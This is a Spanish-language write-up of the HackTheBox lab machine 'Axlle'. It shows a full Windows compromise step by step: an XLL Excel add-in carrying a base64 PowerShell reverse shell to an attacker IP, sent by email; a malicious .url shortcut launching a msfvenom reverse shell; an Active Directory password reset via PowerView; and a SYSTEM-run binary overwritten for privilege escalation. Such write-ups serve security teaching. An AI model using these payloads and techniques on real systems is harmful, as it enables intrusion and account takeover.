Axlle – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Hard / Difícil
- Platform: HackTheBox
Resumen Link to heading
“Axlle” es una máquina de dificultad Dificil de la plafatorma HackTheBox
. La máquina web se encuentra corriendo un servicio de mails. Este servicio mails acepta archivos DLL
los cuales pueden ser manipulados para ganar acceso ala máquina víctima. Una vez dentro, somos capaces de localizar un directorio el cual está ejecutando archivos de URL; podemos usar esta tarea para ejecutar un binario malicioso y pivotear de usuario. Este segundo usuario puede cambiar la contraseña de un tercer usuario el cual tiene, además, acceso a la máquina víctima a través de WinRM
. Una vez como este nuevo trecer usuario, éste puede modificar un script que es ejecutado por SYSTEM
lo cual nos permite tomar control total de la máquina víctima.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
revisando puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.21
Encontramos múltiples puertos abiertos tales como: 25
Simple Mail Transfer Protocol
, 53
Domain Name System
, 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
, 445
Server Message Block
, 5985
Windows Remote Management
; entre otros:
❯ sudo nmap -sVC -p25,53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,51940,51942,51943,51950,51959 10.10.11.21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:26 -04
Nmap scan report for 10.10.11.21
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Axlle Development
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-13 23:26:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
51940/tcp open msrpc Microsoft Windows RPC
51942/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51943/tcp open msrpc Microsoft Windows RPC
51950/tcp open msrpc Microsoft Windows RPC
51959/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
| smb2-time:
| date: 2024-08-13T23:27:41
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.13 seconds
Visitando http://10.10.11.21
(la IP de la máquina víctima) muestra un simple sitio web bajo desarrollo:
El sitio web sólo presenta un mail de contacto accounts@axlle.htb
. Por otro lado, ninguno de los botones funciona en la web.
Usamos entonces la herramienta enum4linux-ng
(la cual puede ser descargada desde su repositorio de Github) para buscar información acerca de el dominio de la máquina (ya que ésta se encontraba corriendo servicios como SMB
y Kerberos
), obteniendo así:
❯ python3 enum4linux-ng.py 10.10.11.21
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.21
[*] Username ......... ''
[*] Random Username .. 'myngnltw'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
<SNIP>
===================================================
| Domain Information via LDAP for 10.10.11.21 |
===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: axlle.htb
<SNIP>
==========================================================
| Domain Information via SMB session for 10.10.11.21 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: MAINFRAME
NetBIOS domain name: AXLLE
DNS domain: axlle.htb
FQDN: MAINFRAME.axlle.htb
Derived membership: domain member
Derived domain: AXLLE
<SNIP>
Del escaneo tenemos un dominio: axlle.htb
.
Lo agregamos a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.21 axlle.htb' | sudo tee -a /etc/hosts
Ya en este punto también buscamos por directorio que pudiesen estar ocultos a través de un Brute Force Directory Listing
con Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.21 -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.21
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 149] [--> http://10.10.11.21/assets/]
/css (Status: 301) [Size: 146] [--> http://10.10.11.21/css/]
/js (Status: 301) [Size: 145] [--> http://10.10.11.21/js/]
/Assets (Status: 301) [Size: 149] [--> http://10.10.11.21/Assets/]
/CSS (Status: 301) [Size: 146] [--> http://10.10.11.21/CSS/]
/JS (Status: 301) [Size: 145] [--> http://10.10.11.21/JS/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
pero no hallamos nada.
Podemos recordar que el puerto 25
estaba abierto y corriendo un servicio SMTP
(mail). Esto no es tan usual en entornos de Active Directory
.
Una pista acerca de la máquina es su nombre, Axlle
. Quizás los tiros vayan por archivos XLL
(y de allí “aXLLe”).
Buscamos qué es XLL
, donde hallamos una definición basados en la documentación oficial de Microsoft:
XLL
es un archivo de complemento de Excel
con la extensión de archivo .xll
. Un archivo XLL
es un tipo de archivo de biblioteca de vínculos dinámicos (DLL) que solo Excel
puede abrir. Los archivos de complemento XLL
deben escribirse en C
o C++
.De manera que podría haber una conexión entre los archivos .xll
y el servicio de mail. Buscando cómo crear archivos XLL
maliciosos encontramos este repositorio de Github y este post de Skiwsskyrepo acerca de XLL. En mi caso me enfocaré en el segundo. Allí entregan un ejemplo de código:
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("cmd.exe /c notepad.exe", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Donde debemos cambiar #include <Windows.h>
a #include <windows.h>
por motivos que veremos más adelante (o tirará un error al tratar de compilarlo).
Ahora vamos a modificar el payload que se ejecuta. Para ello vamos a la página de Reverse Shell Generator
(https://www.revshells.com/), elegimos un payload del tipo PowerShell #3 (Base64)
, ponemos nuestra máquina de atacante (10.10.16.2
en mi caso) y puerto 443
(puerto en el cual nos pondremos en escucha con netcat
). Copiando el payload generado y agregándolo a nuestro código para el archivo DLL
, ahora éste se ve como:
#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Y lo guardamos en un archivo llamado payload.c
.
Finalmente, debemos compilarlo. Podríamos compilarlo en una máquina Windows
; o podríamos compilarlo en una máquina Linux
usando la herramienta mingw
. Podemos instalarla con:
❯ sudo apt install mingw-w64 -y
Y, ya instalada, compilar el código en C
ejecutando:
❯ x86_64-w64-mingw32-gcc -fPIC -luser32 -shared -o payload.xll payload.c
Del escaneo de Nmap
, como ya habíamos mencionado, el servicio SMTP
(mail) está disponible y tenemos un contacto de la página web principal llamado accounts@axlle.htb
. Empezamos un listener con netcat
por el puerto 443
junto con rlwrap
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
y enviamos un email al usuario encontrado adjuntando el archivo .xll
usando la herramienta swaks
:
❯ swaks --to accounts@axlle.htb --from gunzf0x@htb.com --header "Subject: I love you" --body "Cheers" --attach @payload.xll
=== Trying axlle.htb:25...
=== Connected to axlle.htb.
<- 220 MAINFRAME ESMTP
-> EHLO kali.gunzf0x
<- 250-MAINFRAME
<- 250-SIZE 20480000
<SNIP>
-> .
<- 250 Queued (11.297 seconds)
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.
Luego de algunos segundos, obtenemos una conexión como el usuario gideon.hamill
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.21] 63213
whoami
axlle\gideon.hamill
PS C:\>
En lo personal la intrusión es muy rebuscada, pero bueno. Continuemos.
En el directorio C:\Program Files (x86)
podemos ver otro directorio llamado hMailServer
, el cual está relacionado al servicio SMTP
(como se puede ver en el escaneo con Nmap
):
PS C:\Program Files (x86)> dir
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/31/2023 9:50 PM Common Files
d----- 1/1/2024 3:33 AM hMailServer
d----- 6/12/2024 11:11 PM Internet Explorer
d----- 6/13/2024 2:27 AM Microsoft
<SNIP>
Dentro de éste tenemos:
PS C:\Program Files (x86)\hMailServer> dir
Directory: C:\Program Files (x86)\hMailServer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/1/2024 3:33 AM Addons
d----- 1/1/2024 3:33 AM Bin
d----- 8/13/2024 5:24 PM Data
d----- 1/1/2024 3:33 AM Database
d----- 1/1/2024 3:33 AM DBScripts
d----- 6/24/2024 4:09 PM Events
d----- 1/1/2024 3:33 AM Languages
d----- 1/1/2024 3:33 AM Logs
d----- 1/1/2024 3:33 AM PHPWebAdmin
d----- 1/1/2024 3:33 AM Temp
-a---- 1/1/2024 3:33 AM 56839 unins000.dat
-a---- 1/1/2024 3:33 AM 718530 unins000.exe
Luego de inspeccionar los directorios, el con nombre Data
tiene datos relacionados a otro usuario llamado dallon.matrix
. Buscando por más archivos dentro de este directorio tenemos:
PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> dir
Directory: C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/1/2024 6:32 AM 997 {2F7523BD-628F-4359-913E-A873FCC59D0F}.eml
Hay un archivo .eml
. Leyéndolo retorna:
PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> type *
Return-Path: webdevs@axlle.htb
Received: from bumbag (Unknown [192.168.77.153])
by MAINFRAME with ESMTP
; Mon, 1 Jan 2024 06:32:24 -0800
Date: Tue, 02 Jan 2024 01:32:23 +1100
To: dallon.matrix@axlle.htb,calum.scott@axlle.htb,trent.langdon@axlle.htb,dan.kendo@axlle.htb,david.brice@axlle.htb,frankie.rose@axlle.htb,samantha.fade@axlle.htb,jess.adams@axlle.htb,emily.cook@axlle.htb,phoebe.graham@axlle.htb,matt.drew@axlle.htb,xavier.edmund@axlle.htb,baz.humphries@axlle.htb,jacob.greeny@axlle.htb
From: webdevs@axlle.htb
Subject: OSINT Application Testing
Message-Id: <20240102013223.019081@bumbag>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
Hi everyone,
The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.
We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.
Yours in click-worthy URLs,
The Web Dev Team
El mensaje básicamente dice que podemos poner shortcuts de urls (asumo que archivos) en el directorio C:\inetpub\testing
. Si nos movemos a este directorio éste se encuentre vacío:
PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> cd C:\inetpub\testing
PS C:\inetpub\testing> dir
De manera que deberíamos de tratar dos cosas:
- Crer un archivo
.url
malicoso que apunte a algún archivo.exe
, - Crear un archivo
.exe
que ejecute un comando (por ejemplo, algo que nos dé una reverse shell).
Para el primer paso creamos un archivo .url
en nuestra máquina de atacantes basados en este post y este post:
[InternetShortcut]
URL=file:///C:/Users/Public/reverse.exe
y lo guardamos como malicious.url
. Esto hará que se ejecute un archivo con ruta C:\Users\Public\reverse.exe
.
Luego, creamos un archivo malicioso .exe
usando msfvenom
:
❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
Ahora tenemos que pasar estos archivos a la máquina víctima. Además, empezamos un nuevo listener con netcat
en el puerto 443
. Exponemos ambos archivos a través de un servidor HTTP
temporal usando Python
en el puerto 8000
:
❯ ls -la && python3 -m http.server 8000
total 20
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 13 20:57 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Aug 13 19:21 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 59 Aug 13 20:53 malicious.url
-rw-rw-r-- 1 gunzf0x gunzf0x 7168 Aug 13 20:56 reverse.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Y descargamos ambos archivos en la máquina víctima usando wget
:
PS C:\inetpub\testing> wget http://10.10.16.2:8000/reverse.exe -OutFile C:\Users\Public\Downloads\reverse.exe
PS C:\inetpub\testing> wget http://10.10.16.2:8000/malicious.url -OutFile C:\inetpub\testing\malicious.url
Esperando algunos segundos luego de subir malicious.url
en el directorio C:\inetpub\testing\
obtenemos una nueva shell como el usuario dallon.matrix
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.21] 59400
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.
C:\>whoami
whoami
axlle\dallon.matrix
Podemos obtener la flag de usuario en el Desktop de dallon.matrix
.
NT Authority/System - Administrador Link to heading
Buscando a qué grupos pertenece este nuevo usuario, notamos un grupo personalizado llamado Web Devs
:
C:\>net user dallon.matrix
net user dallon.matrix
User name dallon.matrix
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 6/13/2024 1:04:25 AM
Password expires Never
Password changeable 6/14/2024 1:04:25 AM
Password required Yes
User may change password Yes
Workstations allowed MAINFRAME
Logon script
User profile
Home directory
Last logon 8/13/2024 6:01:12 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Web Devs *Domain Users
The command completed successfully.
Dado que estamos en un entorno Active Directory
, y dado que queremos saber qué privilegios tiene este grupo, es que usaremos SharpHound.exe. Luego de descargarlo, lo exponemos en un servidor HTTP
Python
temporal en el puerto 8000
:
❯ ls -la && python3 -m http.server 8000
total 1044
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 13 21:06 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Aug 13 19:21 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 69 Aug 13 21:00 malicious.url
-rw-rw-r-- 1 gunzf0x gunzf0x 7168 Aug 13 20:56 reverse.exe
-rw-r--r-- 1 gunzf0x gunzf0x 1046528 Aug 13 21:06 SharpHound.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Ahora usamos la shell del usuario gideon.hamill
(la primera que habíamos obtenido), dado que la shell con dallon.matrix
no me reconocía el comando wget
por alguna razón. Descargamos el binario:
PS C:\inetpub\testing> wget http://10.10.16.2:8000/SharpHound.exe -OutFile C:\Users\Public\Downloads\sharphound.exe
Y de vuelta a la shell de dallon.matrix
(o en la misma shell de gideon.hill
, esto es irrelevante), ejecutamos SharpHound
:
C:\Users\Public\Downloads>.\sharphound.exe -c All
.\sharphound.exe -c All
2024-08-13T18:21:39.9956061-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2024-08-13T18:21:40.1206027-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-08-13T18:21:40.1363082-07:00|INFORMATION|Initializing SharpHound at 6:21 PM on 8/13/2024
2024-08-13T18:21:40.2456101-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for axlle.htb : MAINFRAME.axlle.htb
2024-08-13T18:21:40.2768551-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-08-13T18:21:40.4018529-07:00|INFORMATION|Beginning LDAP search for axlle.htb
2024-08-13T18:21:40.4331033-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-08-13T18:21:40.4331033-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-08-13T18:22:10.6987352-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 37 MB RAM
2024-08-13T18:22:28.8706152-07:00|INFORMATION|Consumers finished, closing output channel
2024-08-13T18:22:28.9018534-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-08-13T18:22:29.0424806-07:00|INFORMATION|Status: 113 objects finished (+113 2.354167)/s -- Using 45 MB RAM
2024-08-13T18:22:29.0424806-07:00|INFORMATION|Enumeration finished in 00:00:48.6327872
2024-08-13T18:22:29.0893584-07:00|INFORMATION|Saving cache with stats: 72 ID to type mappings.
72 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2024-08-13T18:22:29.1049840-07:00|INFORMATION|SharpHound Enumeration Completed at 6:22 PM on 8/13/2024! Happy Graphing!
Esto genera un par de archivos:
C:\Users\Public\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is BFF7-F940
Directory of C:\Users\Public\Downloads
08/13/2024 06:22 PM <DIR> .
01/22/2023 02:35 AM <DIR> ..
08/13/2024 06:22 PM 12,879 20240813182228_BloodHound.zip
08/13/2024 06:00 PM 7,168 reverse.exe
08/13/2024 06:19 PM 1,046,528 sharphound.exe
08/13/2024 06:22 PM 10,400 ZTI1NDZmYzYtMzhjNi00YTE0LTk2ZTYtN2ZiOGYzOTY1OGMw.bin
4 File(s) 1,076,975 bytes
2 Dir(s) 2,950,033,408 bytes free
En nuestro caso el que nos interesa es el archivo .zip
generado.
Para pasar el archivo .zip
desde la máquina víctima a nuestra máquina de atacantes, empezamos un servicio SMB
en esta última. En nuestra máquina de atacantes usamos smbserver.py
de Impacket
:
❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username gunzf0x -password gunzf0x123
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
En la máquina víctima nos conectamos al recurso compartido llamado smb2Folder
y copiamos el archivo deseado:
C:\Users\Public\Downloads>net use \\10.10.16.2\smb2Folder /u:gunzf0x gunzf0x123
net use \\10.10.16.2\smb2Folder /u:gunzf0x gunzf0x123
The command completed successfully.
C:\Users\Public\Downloads>copy .\20240813182228_BloodHound.zip \\10.10.16.2\smb2Folder\
copy .\20240813182228_BloodHound.zip \\10.10.16.2\smb2Folder\
1 file(s) copied.
y borramos la conexión:
C:\Users\Public\Downloads>net use /d \\10.10.16.2\smb2Folder
net use /d \\10.10.16.2\smb2Folder
\\10.10.16.2\smb2Folder was deleted successfully.
Luego, usaremos Bloodhound
(en este WriteUp usamos la versión vieja, no la Community Edition
que está más actualizada y es la que se usa actualmente). Empezamos el servicio ejecutando:
❯ sudo neo4j console
y en otra consola corremos:
❯ bloodhound &> /dev/null & disown
Una vez dentro de Bloodhound
, exportamos el archivo .zip
descargado. Notamos que el grupo Web Devs
tiene el permiso ForceChangePassword
para cambiar la contraseña de 2 usuarios: baz.humphries
y jacob.greeny
:
Ambos usuarios son miembros del grupo App Devs
:
Este grupo se ve prometedor. Por ende, trataremos de cambiar la contraseña de uno de estos dos usuarios. Para ello podemos usar la herramienta PowerView.ps1
, la cual puede ser descargada desde su repositorio de Github. Exponemos el archivo .ps1
como ya hemos hecho previamente (con el servidor de Python
HTTP
, etc). Luego, en la máquina víctima importamos el módulo y cambiamos la contraseña del usuario baz.humphries
. Para ello ejecutamos:
C:\Users\Public\Downloads>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\Public\Downloads> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1
PS C:\Users\Public\Downloads> $NewPassword = ConvertTo-SecureString 'gunzf0x123$!' -AsPlainText -Force
$NewPassword = ConvertTo-SecureString 'gunzf0x123$!' -AsPlainText -Force
PS C:\Users\Public\Downloads> Set-DomainUserPassword -Identity baz.humphries -AccountPassword $NewPassword
Set-DomainUserPassword -Identity baz.humphries -AccountPassword $NewPassword
Además, el mapeo con Bloodhound
también muestra que el grupo App Devs
(grupo al cual pertenece el usuario al que le hemos cambiado la contraseña) tiene permisos para conectarse remotamente a la máquina víctima. Dado que el servicio WinRM
estaba disponible, tratamos de loguearnos como el usuario jacob.greeny
con su nueva contraseña cambiada a través de la herramienta evil-winrm
:
❯ evil-winrm -i 10.10.11.21 -u baz.humphries -p 'gunzf0x123$!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\baz.humphries\Documents> whoami
axlle\baz.humphries
Funcionó.
En el directorio C:\
existe un directorio App Development
:
*Evil-WinRM* PS C:\> cd 'App Development'
*Evil-WinRM* PS C:\App Development> dir
Directory: C:\App Development
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/1/2024 10:03 PM kbfiltr
*Evil-WinRM* PS C:\App Development> cd kbfiltr
*Evil-WinRM* PS C:\App Development\kbfiltr> dir
Directory: C:\App Development\kbfiltr
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/1/2024 10:03 PM exe
d----- 1/1/2024 10:03 PM sys
-a---- 12/14/2023 11:39 AM 2528 kbfiltr.sln
-a---- 6/11/2024 11:16 PM 2805 README.md
Leyendo el archivo README.md
muestra algo:
*Evil-WinRM* PS C:\App Development\kbfiltr> type README.md
# Keyboard Translation Program
This is an application in development that uses a WDF kbfiltr as the basis for a translation program. The aim of this application is to allow users to program and simulate custom keyboard layouts for real or fictional languages.
<SNIP>
- Simulation of other keyboard layouts - Incomplete
- Activation of other keyboard layouts - Incomplete
**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**
## Prerequisites
- Windows 10 or higher
- Visual Studio 2019
- Windows Driver Kit (WDK) 10
<SNIP>
Mucho texto. Pero hay algo interesante:
**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**
En resumen, hay un binario llamado standalonerunner.exe
corriendo como SYSTEM
en el directorio mencionado. El plan es bastante simple: reemplazar standalonerunner.exe
con un binario el cual nos envía una reverse shell. Podemos ir al directorio mencionado en el archivo previo y ver qué archivos hay en él:
*Evil-WinRM* PS C:\App Development\kbfiltr> cd C:\'Program Files (x86)'\'Windows Kits'\10\Testing\StandaloneTesting\Internal\x64\
*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> dir
Directory: C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/30/2023 3:08 AM 33392 standalonerunner.exe
-a---- 9/30/2023 3:08 AM 43632 standalonexml.dll
Podemos ver 2 archivos, entre ellos el archivo .exe
mencionado.
Podemos usar icacls
para ver qué permisos tenemos sobre el archivo .exe
:
*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> icacls standalonerunner.exe
standalonerunner.exe AXLLE\App Devs:(RX,W)
Everyone:(R)
AXLLE\Administrator:(F)
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
Los miembros del grupo App Devs
pueden escribir (y, por tanto, reemplazar/sobreescribir) sobre este archivo.
Podemos “reciclar” el archivo .exe
generado por msfvenom
(el que usamos para abuscar del archivo .url
), copiarlo y reemplazar standalonerunner.exe
con este. Antes de ello recordar empezar un nuevo listener con netcat
en el puerto 443
. En nuestra máquina de atacante creamos una copia del archivo reverse.exe
:
❯ cp reverse.exe standalonerunner.exe
y la subimos usando la función upload
de evil-winrm
:
*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> upload standalonerunner.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Axlle/exploits/standalonerunner.exe to C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
Esperando algún tiempo, obtenemos una conexión en nuestro listener con netcat
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.21] 59400
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.
C:\>whoami
whoami
axlle\administrator
GG! Podemos leer la flag root.txt
en el Desktop del usuario Administrator
.
~Happy Hacking